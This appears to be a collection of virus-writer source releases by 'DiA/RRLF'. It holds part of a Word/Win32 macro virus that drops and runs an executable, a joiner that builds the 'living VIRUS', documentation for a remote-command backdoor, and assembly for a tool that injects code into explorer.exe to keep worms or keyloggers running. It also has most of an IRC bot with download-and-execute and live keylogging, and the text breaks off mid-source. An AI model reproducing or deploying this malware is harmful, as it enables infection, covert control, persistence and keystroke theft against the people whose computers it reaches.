13, "ActCode.InsertLines 1, VirCode.Lines(1, VirCode.CountOfLines)" N.InsertLines 14, "ActiveD.Name = ""Chagall""" N.InsertLines 15, "End If" N.InsertLines 16, "DropExe:" N.InsertLines 17, "Dim AExeFile As String" N.InsertLines 18, "Dim NExeFile As String" N.InsertLines 19, "AExeFile = ActiveDocument.Variables(""llagahc"").Value" N.InsertLines 20, "NExeFile = Normal.ThisDocument.Variables(""llagahc"").Value" N.InsertLines 21, "If NExeFile = """" Then" N.InsertLines 22, "Open Environ(""WinDir"") & ""\Chag.wrd"" For Binary As #1" N.InsertLines 23, "NExeFile = Space(LOF(1))" N.InsertLines 24, "Get #1, , NExeFile" N.InsertLines 25, "Close #1" N.InsertLines 26, "Normal.ThisDocument.Variables.Add ""llagahc"", NExeFile" N.InsertLines 27, "End If" N.InsertLines 28, "If AExeFile = """" Then" N.InsertLines 29, "ActiveDocument.Variables.Add ""llagahc"", NExeFile" N.InsertLines 30, "End If" N.InsertLines 31, "Open Left(Environ(""WinDir""), 3) & ""Chag32.exe"" For Binary As #1" N.InsertLines 32, "Put #1, , NExeFile" N.InsertLines 33, "Close #1" N.InsertLines 34, "Shell Left(Environ(""WinDir""), 3) & ""Chag32.exe""" N.InsertLines 35, "If Left(ActiveDocument.Name, 2) = ""Do"" And IsNumeric(Right(ActiveDocument.Name, 1)) = True Then" N.InsertLines 36, "ActiveDocument.Saved = True" N.InsertLines 37, "Else" N.InsertLines 38, "ActiveDocument.SaveAs ActiveDocument.FullName" N.InsertLines 39, "End If" N.InsertLines 40, "End Sub" Word.Quit ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; Chagall VBS Part - Chagall.vbs ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; Chagall EQU Part - size.equ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; VirusSize equ 2205d ;packed with fsg! WordDropSize equ 2671d SomethinFalse equ 1313d ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; Chagall EQU Part - size.equ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; Chagall Parts Joiner - Joiner.asm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; include "%fasminc%\win32ax.inc" include "size.inc" .data Win32PartName db "Chagall.exe",0 Win32PartHandle dd ? Win32PartBuffer rb VirusSize WordPartName db "Chagall.vbs", 0 WordPartHandle dd ? WordPartBuffer rb WordDropSize OutputFileName db "ReadyChagall.exe",0 OutputFileHandle dd ? BytesRead dd ? BytesWrite dd ? .code Joiner: ;*****read win32 and word part into buffer************ mov ebx, Win32PartName mov ecx, GENERIC_READ mov edx, OPEN_EXISTING call OpenFile_ mov dword [Win32PartHandle], eax cmp ecx, SomethinFalse je CantReadWin32Part mov ebx, Win32PartHandle mov ecx, Win32PartBuffer mov edx, VirusSize call ReadInBuffer cmp ecx, SomethinFalse je CantReadWin32Part invoke CloseHandle,\ dword [Win32PartHandle] mov ebx, WordPartName mov ecx, GENERIC_READ mov edx, OPEN_EXISTING call OpenFile_ mov dword [WordPartHandle], eax cmp ecx, SomethinFalse je CantReadWordPart mov ebx, WordPartHandle mov ecx, WordPartBuffer mov edx, WordDropSize call ReadInBuffer cmp ecx, SomethinFalse je CantReadWordPart invoke CloseHandle,\ dword [WordPartHandle] ;*****read win32, firstgen and word part into buffer***end****** ;*****write win32, firstgen and word part to file*************** mov ebx, OutputFileName mov ecx, GENERIC_WRITE mov edx, CREATE_ALWAYS call OpenFile_ mov dword [OutputFileHandle], eax cmp ecx, SomethinFalse je CantCreateOutputFile mov ebx, OutputFileHandle mov edx, Win32PartBuffer mov ecx, VirusSize call WriteToFile cmp ecx, SomethinFalse je CantWriteWin32Part mov ebx, OutputFileHandle mov edx, WordPartBuffer mov ecx, WordDropSize call WriteToFile cmp ecx, SomethinFalse je CantWriteWordPart invoke CloseHandle,\ dword [OutputFileHandle] invoke MessageBox,\ 0,\ "OutputFile successfully written. Take care, now it is a living VIRUS!",\ "success - Win32/Word.Chagall is now working",\ MB_ICONINFORMATION jmp Exit ;*****write win32, firstgen and word part to file*************** ;*****error messages******************************************** CantReadWin32Part: invoke MessageBox,\ 0,\ "Cant read the Win32 part into buffer",\ "error",\ MB_ICONERROR jmp Exit CantReadWordPart: invoke MessageBox,\ 0,\ "Cant read the Word part into buffer",\ "error",\ MB_ICONERROR jmp Exit CantCreateOutputFile: invoke MessageBox,\ 0,\ "Cant create the output file",\ "error",\ MB_ICONERROR jmp Exit CantWriteWin32Part: invoke MessageBox,\ 0,\ "Cant write the Win32 part to the output file",\ "error",\ MB_ICONERROR jmp Exit CantWriteWordPart: invoke MessageBox,\ 0,\ "Cant write the Word part to the output file",\ "error",\ MB_ICONERROR ;*****error messages***end************************************** Exit: invoke ExitProcess,\ 0 ;*****Procedures Open, Read and Write files********************* OpenFile_: invoke CreateFile,\ ebx,\ ;edx - flags (CREATE_ALWAYS...OPEN_EXISTING) ecx,\ ;ebx - filename to open FILE_SHARE_READ + FILE_SHARE_WRITE,\ ;ecx - GENERIC_READ .. GENERIC_WRITE 0,\ edx,\ FILE_ATTRIBUTE_NORMAL,\ 0 cmp eax, INVALID_HANDLE_VALUE jne OpenFileEnd mov ecx, SomethinFalse jmp OpenFileReturn OpenFileEnd: mov ecx, 0 OpenFileReturn: ret ReadInBuffer: invoke ReadFile,\ ;ebx - pointer to file handle dword [ebx],\ ;ecx - pointer to buffer start ecx,\ ;edx - size to read edx,\ BytesRead,\ 0 cmp eax, 0 jne ReadInBufferEnd mov ecx, SomethinFalse jmp ReadBufferReturn ReadInBufferEnd: mov ecx, 0 ReadBufferReturn: ret WriteToFile: invoke WriteFile,\ dword [ebx],\ ;ebx - file handle edx,\ ;edx - start address of buffer ecx,\ ;ecx - size to write BytesWrite,\ 0 cmp eax, 0 jne WriteToFileEnd mov ecx, SomethinFalse jmp WriteToFileReturn WriteToFileEnd: mov ecx, 0 WriteToFileReturn: ret ;*****Procedures Open, Read and Write files***end*************** .end Joiner ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;; Chagall Parts Joiner - Joiner.asm ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;sources
Bockdoor.Gnaaarly DiA Bockdoor.Gnaaarly by DiA/rrlf (c) 2005 DiA_hates_machine@gmx.de - www.vx-dia.de.vu ########################################### Disclaimer: I am not respnsible for any damage you make with this tool. Just use it to learn how winsock and all the other stuff work. Or to annoy your brother or classmate a little bit, but no destruction! Take care. Features: -listen to port 30687 for connections -accept connections from computers in the network -awaiting commands -execute commands -reply if it had success -if it fails it reply a formated system error in your language -close client, and server is still running -after server is closed no commands anymore ;) Commands: Fun: !msgbox 'Caption' 'Message' - shows a message box !mouse 'disable/enable' - disables or enables mouse !input 'disable/enable' - disables or enables keyboard and mouse !cdrom 'open/close' - open or close cd-rom !start 'hide/show' - hide or show windows start button !monitor 'on/off' - turns monitor on or off Examples: !msgbox 'Gnaaarly Backdoor' 'A gnaaarly backdoor is running...' !mouse 'disable' !mouse 'enable' !input 'disable' !input 'enable' !cdrom 'open' !cdrom 'close' !start 'hide' !start 'show' !monitor 'off' !monitor 'on' Paths: !windowspath - returns windows directory !systempath - returns system directory !location - returns the location of the running server !getdirectory - returns the current directory !setdirectory 'Path' - set a new current directory Examples: !setdirectory 'C:\Windows' Lists: !dirlist 'Path' - list all directorys in path !filelist 'Path' - list all directorys in path Examples: !dirlist 'D:\' !filelist 'C:' Files: !copyfile 'Existing' 'New' - copy a file, do not copy if already exist !movefile 'Existing' 'New' - move a file, do not move if already exist !deletefile 'Existing' - deletes an existing file Examples: !copyfile 'C:\Windows\Notepad.exe' 'C:\Editor.exe' !movefile 'C:\Editor.exe' 'C:\edit.exe' !deletefile 'C:\edit.exe' Registry: !regwrite 'HKEY' 'Subkey' 'Name' 'Value' - write a string to the registry !regread 'HKEY' 'Subkey' 'ValueName' - returns a string from registry Examples: !regwrite 'HKEY_CURRENT_USER' 'Console' 'FaceName' 'Gnaaarly' !regread 'HKEY_LOCAL_MACHINE' 'SOFTWARE\Microsoft\Windows\CurrentVersion' 'ProductId' Applications: !execute 'Path' - executes a application Examples: !execute 'C:\Windows\Notepad.exe' Internet: !download 'URL' 'Path' - download a file from inet to local Examples: !download 'http://home.arcor.de/vx-dia/index.htm' 'C:\firstpage.htm' Exit Windows: !shutdown - shutdown windows !reboot - reboot windows Clipboard: !getclipboard - returns the text in the clipboard if exist !setclipboard 'Text' - copy a new text into clipboard Examples: !setclipboard 'visit www.vx-dia.de.vu !!!' Connection: !close Clients: I made 2 clients, a console based in C++ and a GUI in VB. Fell free to use both. To Do for you: This tool is not made to be evil. So if you want it evil you should: -remove that start message -remove error message -do autostart -make a nice icon -add more commands ;) Source: Please feel free to edit this tool, show it to friends and distribute it. For thanks or fucks drop me a mail to DiA_hates_machine@gmx.de Source Code Copyleft: DiA(c)2005 Ready Ranger Liberation Front pS: Big greets fly's out to my little beta tester, SPTH, thanx, have fun...sources
TakeCareOnMe 1.0 DiA ;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°; ;°°°°° TakeCareOnMe 1.0 by DiA/RRLF (c)2006 °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°; ;°°°°° DiA_hates_machine@gmx.de - http://www.vx-dia.vu °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°; ;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°; ;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°; ;°°°°° What's that? °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°; ;°°°°° This is a small utility (1305 bytes compressed with FSG) wich is able to keep your application °°°°; ;°°°°° alive, can be your worm, your keylogger or the anoying program you wrote for some fucker. °°°°; ;°°°°° The program injects some code in Explorer that infinite check if your program is still running °°°°; ;°°°°° if not so, it restarts it. Only way out is to terminate Explorer process, and wich normal dude °°°°; ;°°°°° is doing this... °°°°; ;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°; ;°°°°° How to use it? °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°; ;°°°°° Pretty easy, just call this program with full path of the program you want to stay alive. As °°°°; ;°°°°° example we want that the Calculator stays active, and restarts if it got closed, we call this °°°°; ;°°°°° program with parameter "C:\WINDOWS\System32\Calc.exe" (on normal installed XP). See syntax: °°°°; ;°°°°° %full path%\TakeCareOnMe 1.0.exe <full path of application you want to take care for> °°°°; ;°°°°° example: C:\WINDOWS\t com.exe C:\WINDOWS\System32\Calc.exe °°°°; ;°°°°° How easy huh? You just make sure that you call this program with full path, and give the full °°°°; ;°°°°° path of the application you want to stay alive. Thats all. °°°°; ;°°°°° I just included this tool in my worm "Tamiami" and recocnized that the parameter extraction °°°°; ;°°°°° just works when there is a space inside of the path of TakeCareOnMe. So you may want to change °°°°; ;°°°°° this in source, this is the way: °°°°; ;°°°°° No space in path => then the first space ("...exe C:\...") is the parameter begin (+1) °°°°; ;°°°°° With space in path => last " is parameter begin (+2) °°°°; ;°°°°° Just don't mind and copy this tool with a space in filename, as example name it "t com.exe". °°°°; ;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°; ;°°°°° Huh? How what huh?! °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°; ;°°°°° include "%fasminc%\win32ax.inc" °°°°; ;°°°°° °°°°; ;°°°°° .data °°°°; ;°°°°° Exec db "C:\MyAsm\Codes\TCOM\t com.exe C:\WINDOWS\System32\Calc.exe", 0 °°°°; ;°°°°° °°°°; ;°°°°° .code °°°°; ;°°°°° start: °°°°; ;°°°°° invoke WinExec,\ °°°°; ;°°°°° Exec,\ °°°°; ;°°°°° SW_SHOW °°°°; ;°°°°° °°°°; ;°°°°° invoke ExitProcess,\ °°°°; ;°°°°° 0 °°°°; ;°°°°° °°°°; ;°°°°° .end start °°°°; ;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°; ;°°°°° What else? °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°; ;°°°°° As always you are responsible for your actions. °°°°; ;°°°°° Here a little idea, just write your Worm (or whatever) binary to memory too, if it got °°°°; ;°°°°° terminated AND deleted, write it back to disk and execute it again. That's all, visit °°°°; ;°°°°° http://www.vx-dia.de.vu right now! Thanx to izee for beta testing. °°°°; ;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°; include "%fasminc%\win32ax.inc" entry TakeCareOnMe ;code start macro _invoke proc,[arg] ;modified invoke macro, { common ;call with delta offset if ~ arg eq reverse pushd arg common end if call [ebp + proc] } section '.code' code readable writeable executable RemoteThreadStart: call DeltaOffset ;to get right addresses DeltaOffset: pop ebp sub ebp, DeltaOffset ;difference now in ebp CareStart: mov dword [ebp + ProcessEntry.dwSize], sizeof.PROCESSENTRY32 ;fill structure with its size lea ebx, dword [ebp + ProcessEntry] ;ebx holds address of structure _invoke _CreateToolhelp32Snapshot,\ ;snapshot of processes 2,\ ;TH32CS_SNAPPROCESS edx ;pointer to structure cmp eax, 0 ;error? je ReturnThread mov dword [ebp + SnapHandle], eax ;save handle _invoke _Process32First,\ ;find first process dword [ebp + SnapHandle],\ ebx ;ProcessEntry address cmp eax, 0 je ReturnThread NextProcess: lea eax, dword [ebp + ProcessEntry.szExeFile] lea edx, dword [ebp + CareForShort] _invoke _lstrcmpi,\ eax,\ ;is found process edx ;the process to take care for? cmp eax, 0 je CareForRuns ;if so no need to restart, sleep _invoke _Process32Next,\ ;next process dword [ebp + SnapHandle],\ ebx ;ProcessEntry cmp eax, 0 ;search all processes? je CareForRestart ;restart our process then lea eax, dword [ebp + NextProcess] jmp eax CareForRuns: _invoke _CloseHandle,\ dword [ebp + SnapHandle] ;close snapshot handle _invoke _Sleep,\ ;sleep 10 seconds 10000d lea eax, dword [ebp + CareStart] jmp eax CareForRestart: _invoke _CloseHandle,\ dword [ebp + SnapHandle] lea eax, dword [ebp + CareForFull] lea ebx, dword [ebp + StartupInfo] lea edx, dword [ebp + ProcessInfo] _invoke _CreateProcess,\ ;program to care for gots closed, restart eax,\ 0,\ 0,\ 0,\ 0,\ CREATE_NEW_CONSOLE,\ 0,\ 0,\ ebx,\ edx _invoke _Sleep,\ 1000d ;sleep 1 second lea eax, dword [ebp + CareStart] jmp eax ReturnThread: ret ;return remote thread RemoteDatas: CareForFull rb 256d CareForShort rb 256d ProcessEntry PROCESSENTRY32 SnapHandle dd ? StartupInfo STARTUPINFO ProcessInfo PROCESS_INFORMATION _CreateToolhelp32Snapshot dd ? _Process32First dd ? _Process32Next dd ? _lstrcmpi dd ? _CloseHandle dd ? _Sleep dd ? _CreateProcess dd ? RemoteThreadEnd: Datas: Kernel32Handle dd ? ProcessEntryOwn PROCESSENTRY32 SnapHandleOwn dd ? ProcessHandle dd ? BaseAddress dd ? APITable db "CreateToolhelp32Snapshot", 0 db "Process32First", 0 db "Process32Next", 0 db "lstrcmpiA", 0 db "CloseHandle", 0 db "Sleep", 0 db "CreateProcessA", 0, 13d TakeCareOnMe: invoke GetCommandLine inc eax ;skip " mov ecx, 0 ;counter to zero SearchOwnEnd: cmp byte [eax + ecx], '"' ;is end " je HaveOwnEnd ;counter++ inc ecx jmp SearchOwnEnd HaveOwnEnd: ;erase own name add eax, ecx ;erase "{space} add eax, 2d mov ecx, 0 ;zero counter SearchParameterEnd: cmp byte [eax + ecx], 0 ;end of string? je HaveParameterEnd inc ecx jmp SearchParameterEnd HaveParameterEnd: mov esi, eax ;source index mov edi, CareForFull ;destination rep movsb ;mov [ecx] bytes from source to destination mov ecx, 0 ;zero counter SearchShortEnd: cmp byte [eax + ecx], "." ;search for .(exe) je SearchShortStart inc ecx jmp SearchShortEnd SearchShortStart: cmp byte [eax + ecx], "\" ;search for last "\" je HaveShortStart dec ecx ;search backwards jmp SearchShortStart HaveShortStart: add eax, ecx ;begin inc eax ;skip "\" mov ecx, 0 ;zero counter GetShortLength: cmp byte [eax + ecx], 0 ;end of string? je HaveShortLength inc ecx jmp GetShortLength HaveShortLength: mov esi, eax ;source mov edi, CareForShort ;destination rep movsb ;length copy cmp byte [CareForFull], 0 ;no parameter? je Exit ;then i have nothing to do invoke LoadLibrary,\ ;load kernel32.dll "kernel32.dll" ;to get api addresses cmp eax, 0 je Exit mov dword [Kernel32Handle], eax mov ebx, APITable ;start of api strings mov edx, _CreateToolhelp32Snapshot ;start of address storage push edx ;edx get changed while api calls NextAPI: invoke GetProcAddress,\ dword [Kernel32Handle],\ ;kernel32.dll ebx ;pointer to api string pop edx mov dword [edx], eax ;save proc address add edx, 4d ;jump to next save address (+dd) push edx mov ecx, 0 SearchNextAPI: cmp byte [ebx + ecx], 0 ;api end? je HaveNextAPI inc ecx jmp SearchNextAPI HaveNextAPI: add ebx, ecx ;end of last api inc ebx ;start of next api cmp byte [ebx], 13d ;end of api table? je HaveAllAPI jmp NextAPI HaveAllAPI: invoke FreeLibrary,\ ;oww, i have so good coding style dword [Kernel32Handle] mov dword [ProcessEntryOwn.dwSize], sizeof.PROCESSENTRY32 ;set size to structure invoke _CreateToolhelp32Snapshot,\ ;why dont use it a second time? :) 2,\ ;TH32CS_SNAPPROCESS 0 cmp eax, 0 ;error? je Exit ;then we cant inject mov dword [SnapHandleOwn], eax ;save handle invoke _Process32First,\ ;again, we already have the address by GetProcAddress dword [SnapHandleOwn],\ ;but use another address of handle then in thread ProcessEntryOwn ;here too NextTargetProcess: ;check next cmp eax, 0 ;error, explorer.exe not found je Exit invoke _lstrcmpi,\ ProcessEntryOwn.szExeFile,\ ;is found process "explorer.exe" ;explorer? cmp eax, 0 je FoundExplorer ;if so i found explorer invoke _Process32Next,\ dword [SnapHandleOwn],\ ProcessEntryOwn jmp NextTargetProcess ;check the next process FoundExplorer: invoke _CloseHandle,\ ;close snapshot handle dword [SnapHandleOwn] invoke OpenProcess,\ ;open the explorer process PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD,\ ;want to operate in it, to write my thread and to execute it 0,\ dword [ProcessEntryOwn.th32ProcessID] ;the process id we got from snapshot cmp eax, 0 ;error je Exit ;**no need for VirtualProtect call, cause it would fail if we ;dont have permission to write & execute mov dword [ProcessHandle], eax ;save process handle invoke VirtualAllocEx,\ ;allocate space in the explorer process dword [ProcessHandle],\ ;i want space here 0,\ RemoteThreadEnd - RemoteThreadStart,\ ;get size of remote thread MEM_COMMIT,\ PAGE_READWRITE ;sure we want write cmp eax, 0 ;error? je Exit mov dword [BaseAddress], eax ;where is the space allocated? invoke WriteProcessMemory,\ ;write to process memore dword [ProcessHandle],\ ;to explorer dword [BaseAddress],\ ;start of buffer in memory RemoteThreadStart,\ ;start of code to write RemoteThreadEnd - RemoteThreadStart,\ ;size to write 0 cmp eax, 0 je Exit ;exit on error invoke CreateRemoteThread,\ ;now execute the written thread dword [ProcessHandle],\ ;excute in explorer context 0,\ 0,\ dword [BaseAddress],\ ;start of process in memory 0,\ ;no parameter 0,\ 0 invoke _CloseHandle,\ dword [ProcessHandle] ;close explorer handle Exit: invoke ExitProcess,\ 0 ;work done, i take care for my lil program Pose db "TakeCareOnMe 1.0 by DiA/RRLF (c)06" ;) section '.idata' data import readable library kernel32, "kernel32.dll" import kernel32,\ GetCommandLine, "GetCommandLineA",\ LoadLibrary, "LoadLibraryA",\ GetProcAddress, "GetProcAddress",\ FreeLibrary, "FreeLibrary",\ OpenProcess, "OpenProcess",\ VirtualAllocEx, "VirtualAllocEx",\ WriteProcessMemory, "WriteProcessMemory",\ CreateRemoteThread, "CreateRemoteThread",\ ExitProcess, "ExitProcess"sources
Win32.Fleabot DiA ;Win32.Fleabot by DiA/RRLF ;DiA_hates_machine@gmx.de ;http://www.vx-dia.de.vu/ ; ;Description: ; This is a small and simple IRC bot coded in assembler (use FASM to assemble). I ; wanted to write a small tutorial along with this source, but I am lazy dude ;). ; But don't cry, the code is very well commented and easy to understand. The bot ; has 12 commands, wich you can see in the example session. For greets and fucks ; use my guestbook at vx-dia.de.vu or drop me some mail to DiA_hates_machine@gmx.de ; Now have fun with this little code, assembled just 8kb baby. ; ;------- example session start------------------------------------------------------ ;[10:52] * Now talking in #test ;[10:53] <DiAbolicx> ^^raw mode #test +o DiAbolicx ;[10:53] <workwqbz> bot is locked, use unlock <password> ;[10:53] <DiAbolicx> ^^unlock test ;[10:53] <workwqbz> bot now unlocked ;[10:53] <DiAbolicx> ^^raw mode #test +o DiAbolicx ;[10:53] * workwqbz sets mode: +o DiAbolicx ;[10:53] <DiAbolicx> ^^cmds ;[10:53] <workwqbz> unlock <password> - unlock the bot ;[10:53] <workwqbz> lock - lock the bot ;[10:53] <workwqbz> raw <irc command> - send irc command to server ;[10:53] <workwqbz> dl <http url> | <save as path> - download file from http ;[10:53] <workwqbz> exec <path> - execute a application ;[10:53] <workwqbz> msgbox <title> | <message> - show fake error message ;[10:53] <workwqbz> info - get username, system directory and is admin ;[10:53] <workwqbz> livelog - start logging keys and send it to channel ;[10:53] <workwqbz> stoplog - stop logging keys ;[10:53] <workwqbz> cmds - show available commands ;[10:53] <workwqbz> version - show bot version ;[10:53] <workwqbz> quit - quit bot ;[10:53] <DiAbolicx> ^^raw privmsg #test :yes, i am here ;[10:53] <workwqbz> yes, i am here ;[10:56] <DiAbolicx> ^^dl http://127.0.0.1/calc.exe | D:\calcx.exe ;[10:56] <workwqbz> download successful ;[10:56] <DiAbolicx> ^^exec D:\calcx.exe ;[10:57] <workwqbz> successful executed ;[10:57] <DiAbolicx> ^^msgbox Fleabot | Test message, dude ;[10:57] <workwqbz> message box closed by user ;[10:57] <DiAbolicx> ^^info ;[10:57] <workwqbz> Username: Work, System directory: C:\WINDOWS\system32, Admin: No ;[10:58] <DiAbolicx> ^^version ;[10:58] <workwqbz> Fleabot - a example IRC bot in asm ;[10:58] <DiAbolicx> ^^livelog ;[10:58] <workwqbz> live keylogging thread created ;[10:58] <workwqbz> {crlf}THIS IS A TEST I TYPE THIS IN MY EDITOR AND ;[10:58] <workwqbz> KEYS ARE REDIRECTED TO THE PREDEFINED IRC CHANNEL{crlf} ;[10:58] <DiAbolicx> ^^stoplog ;[10:58] <workwqbz> keylogging thread terminated ;[10:59] <DiAbolicx> ^^quit ;[10:59] * workwqbz (~workwqbz@dianet.org) Quit (workwqbz) ;------- example session end-------------------------------------------------------- include "%fasminc%\win32ax.inc" ;equates, api's and macros making living easier entry Bot ;define code start IRCServer equ "127.0.0.1", 0 ;to this server we want to connect IRCPort equ 6667d ;connect using this port Channel equ "#test", 0 ;channel name ChannelPassword equ "test", 0 ;the channel password CommandPrefix equ "^^" ;what indicate commands BotPassword equ "test", 0 ;bot password CRLF equ 10d, 13d ;break section '.data' data readable writeable ;here our datas will be stored Version db "Fleabot - a example IRC bot in asm", 0 ;identify bot version IsLocked db 0d ;to check if bot is locked or not WSAData WSADATA ;used by WSAStartup, cleanup SocketDesc dd ? ;socket descriptor is stored here SockAddr dw AF_INET ;our sockaddr_in structure SockAddr_Port dw ? ;here we save the port SockAddr_IP dd ? ;here we save the ip SockAddr_Zero rb 8d ;unused RandomString rb 5d ;here we save a random string (a - z) for the nick Username rb 36d ;here we store the user name for nick generation UsernameSize dd 36d ;size of the buffer Nickname rb 9d ;buffer for nickname SendBuffer rb 512d ;the buffer where we store bytes to send ReturnBuffer rb 512d ;the buffer where we story things to receive ByteBuffer rb 2d ;for the RecvLine procedure Pong db "PONG " ;prefix pong message PongBuffer rb 16d ;buffer for the pong message CommandBuffer rb 128d ;buffer to store command and parameters Parameter1 rb 128d ;buffer for parameter 1 Parameter2 rb 128d ;buffer for parameter 2 InetHandle dd ? ;handle for download command UrlHandle dd ? ;handle for download command FileHandle dd ? ;handle of open files ReadNext dd ? ;how much else to download DownloadBuffer rb 1024d ;downoad kb for kb BytesWritten dd ? ;for writefile StartupInfo STARTUPINFO ;for create process ProcessInfo PROCESS_INFORMATION ;for create process SystemDir rb 256d ;buffer for system dir ThreadId dd ? ;for creating live keylog thread ThreadHandle dd ? ;store handle for thread ThreadExitCode dd ? ;for terminating thread KeylogBuffer rb 60d ;buffer for key strokes section '.code' code readable executable ;code section Bot: ;lets start invoke WSAStartup,\ ;initiates sockets DLL 0101h,\ ;use version 1.1 WSAData ;pointer to wsadata strcuture cmp eax, 0 ;successful? jne Exit ;if not exit bot invoke socket,\ ;create a socket AF_INET,\ ;family SOCK_STREAM,\ ;two way connection 0 ;no particular protocol cmp eax, -1 ;successful? je Exit ;if not exit mov dword [SocketDesc], eax ;save socket descriptor invoke inet_addr,\ ;covert ip string to dword IRCServer ;the ip as string mov dword [SockAddr_IP], eax ;save ip in sockaddr structure invoke htons,\ ;convert port to the network byte order IRCPort ;the port mov word [SockAddr_Port], ax ;save it in the structure invoke connect,\ ;now connect to server dword [SocketDesc],\ ;the socket descriptor SockAddr,\ ;pointer to the sockaddr structure 16d ;size of this structure cmp eax, 0 ;successful? jne Exit ;if not exit call GenerateNickname ;generate the nickname invoke lstrcpy,\ ;copy NICK to send buffer SendBuffer,\ ;pointer "NICK " ;nick command invoke lstrcat,\ ;append the nickname SendBuffer,\ ;to this Nickname ;from this call SendLine ;send buffer to irc server invoke lstrcpy,\ ;copy USER to send buffer SendBuffer,\ ;to this "USER " ;from this invoke lstrcat,\ ;append the nickname SendBuffer,\ ;to this Nickname ;from this invoke lstrcat,\ ;append usermode SendBuffer,\ ;to this " 8 * :" ;usermode invoke lstrcat,\ ;append nickname for user message SendBuffer,\ ;to this Nickname ;from this call SendLine ;send buffer to server GetMotd: ;we can join when "MOTD" message is over call RecvLine ;get a line from server call HandlePing ;handle ping mov ecx, 0 ;clear counter IsMotd: ;check for "MOTD" cmp dword [ReturnBuffer + ecx], "MOTD" ;is there "MOTD"? je HaveMotd ;then we can join cmp byte [ReturnBuffer + ecx], 0d ;end of buffer? je GetMotd ;check next line inc ecx ;ecx + 1 jmp IsMotd ;check next position HaveMotd: ;now we can join invoke lstrcpy,\ ;copy JOIN to buffer SendBuffer,\ ;pointer "JOIN " ;join command invoke lstrcat,\ ;append the channel SendBuffer,\ ;pointer Channel ;channel name invoke lstrcat,\ ;append a space SendBuffer,\ ;pointer " " ;space invoke lstrcat,\ ;append the channel password SendBuffer,\ ;pointer ChannelPassword ;pass call SendLine ;send to server invoke lstrcpy,\ ;copy MODE to buffer SendBuffer,\ ;pointer "MODE " ;to set key invoke lstrcat,\ ;append channel SendBuffer,\ ;pointer Channel ;channel name invoke lstrcat,\ ;append key mode and secret SendBuffer,\ ;buffer " +nsk " ;no external message, secret, key invoke lstrcat,\ ;append the password aka key SendBuffer,\ ;pointer ChannelPassword 